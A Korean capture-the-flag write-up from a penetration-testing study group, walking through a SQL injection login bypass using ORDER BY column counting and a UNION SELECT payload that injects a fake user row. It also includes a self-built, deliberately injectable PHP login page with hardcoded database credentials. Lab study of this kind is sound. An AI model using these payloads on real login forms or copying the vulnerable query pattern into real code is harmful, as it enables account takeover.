[모의해킹 CTF] Login Bypass 3
모의해킹 스터디 중 CTF 문제에 대한 풀이 과정을 서술하며, 문제에 도달하는 과정을 이해하기 위한 목적으로 작성.
Login Bypass 3
<목차>
CTF 문제 : normaltic3 계정으로 로그인하자!
사이트 분석
▶ 로그인 패킷 상의 특이사항은 없다.
▶ 기본 SQL Injection 확인
- AND 구문은 로그인 성공했으나
- OR 구문은 로그인 실패했다
SQL 쿼리 유추
id = doldol' #
pass = dol1234
SELECT * FROM member WHERE id='doldol' # AND pass='dol1234' -- 로그인 성공
SELECT * FROM member WHERE id='doldol' # AND pass='pass' -- 로그인 실패
유추한 쿼리에서 테스트 해본 바, 비밀번호를 검증하는 부분이 주석처리 되어있음에도, 비밀번호가 일치해야 로그인이 가능하다.
이로써, 아이디와 비밀번호를 구분해서 인증하고 있을 것이라는 추측을 할 수 있다. 예측한 쿼리 구성은 아래와 같다.
SELECT * FROM member WHERE id='doldol';
if ($db_pass==$user_pass){
로그인 성공}
그렇다면,UNION SELECT 구문을 이용하여, 비밀번호를 모르더라도 로그인을 할 수 있지 않을까 생각해볼 수 있다.
이를 위해서는 DB가 몇 개의 컬럼으로 구성되어 있는지를 알아야 한다.
Order By :
SELECT * FROM member WHERE id='doldol' order by 1# AND pass='dol1234' -- 로그인 성공
SELECT * FROM member WHERE id='doldol' order by 2# AND pass='dol1234' -- 로그인 성공
SELECT * FROM member WHERE id='doldol' order by 3# AND pass='dol1234' -- 로그인 실패
해당 데이터베이스는 총 2개의 컬럼으로 이루어져 있음을 알 수 있다.
Union Select :
SELECT * FROM member WHERE id='' UNION SELECT 'normaltic3','hey' #
if ($db_pass==$user_pass){
로그인 성공}
데이터베이스에 normaltic3 id와 pass를 임의로 입력하고, $user_pass 를 지정한 비밀번호로 입력하여 로그인에 성공!
로그인 페이지 재현
위에서 이해가 되지 않는 부분을 다시 짚어보기 위해, 직접 구성한 로그인 페이지에서 테스트를 해보았다.
로그인 페이지 구성 코드
<?php
//데이터베이스 연결 설정
$db_connect = mysqli_connect("localhost", "admin", "student1234", "member");
$db_connect-> set_charset("utf8");
//데이터베이스 연결 오류 확인
if ($db_connect->connect_error){
die("No DB Connection". $db_connect->connect_error);}
//POST 방식으로 사용자 입력 확인
$id = $_POST["id"];
$pass = $_POST["pass"];
echo "POST ok<br>";
//식별과 인증을 분리
function authenticateUser2($db_connect, $id, $pass){
$sql = "SELECT * FROM member WHERE UserId='$id'";
$result = $db_connect -> query($sql);
//사용자 ID 검증
if($result->num_rows>0){
$row_pass = $result->fetch_assoc(); // 한 행의 데이터를 가져옴
//사용자 ID가 일치할 경우에만 비밀번호를 검증
if($row_pass['Pass']==$pass){
echo "login ok : 아이디와 비밀번호가 일치합니다.<br>$id and $pass <br>";
}else{
echo "login fail : 비밀번호가 일치하지 않습니다.<br>$id and $pass <br>";
}
}else{
echo "login fail : 아이디 또는 비밀번호가 일치하지 않습니다.<br>$id and $pass <br>";
echo "$id and $pass";
}
}
authenticateUser2($db_connect, $id, $pass);
?>
DB 테이블
1. ID, Pass의 인증을 분리하였을 때, 왜 AND 조건은 참이지만, OR 조건은 거짓일까?
▶ AND 조건 실행 시, web에서 받는 echo script
id = test' AND '1'='1
pass = test
POST ok
login ok : 아이디와 비밀번호가 일치합니다.
test' and '1'='1 and test
▶ DB 질의 시, 응답받는 데이터 테이블
따라서 최종 쿼리는 UserId='test' 조건만을 확인하게 됩니다. 이 경우, id가 'test'일 때 비밀번호를 검증하게 되어, 비밀번호가 맞으면 로그인에 성공합니다.
▶ OR 조건 실행 시, web에서 받는 echo script
POST ok
login fail : 비밀번호가 일치하지 않습니다.
test' or '1'='1 and test
▶ DB 질의 시, 응답받는 데이터 테이블
OR 조건은 1=1이 항상 참이기에,결과적으로 이 쿼리는 모든 레코드를 반환하게 됩니다. 데이터베이스의 모든 사용자 정보가 반환되며, 첫 번째 사용자의 비밀번호가 test와 일치하는지 확인하게 됩니다. 첫 번째 사용자의 비밀번호가 test가 아니라면 로그인에 실패하게 됩니다.
▶ OR 조건으로 첫 번째 사용자의 비밀번호를 입력 시, web에서 받는 echo script
POST ok
login ok : 아이디와 비밀번호가 일치합니다.
test' or '1'='1 and 1234
2. UNION SELECT 구문 실행 시, DB에서는 어떻게 확인 될까?
▶ Union Select 구문 실행 시, web에서 받는 echo script
id=' UNION SELECT 'hey','hey'#
pass = hey
POST ok
login ok : 아이디와 비밀번호가 일치합니다.
' UNION SELECT 'hey','hey'# and hey
▶ DB 질의 시, 응답받는 데이터 테이블
앞서 모든 데이터베이스에는 id = hey, pass = hey라는 정보가 없음을 확인했다. 하지만 UNION SELECT 구문을 이용하면, 없는 데이터 값을 임의로 주입하여 불러올 수 있다.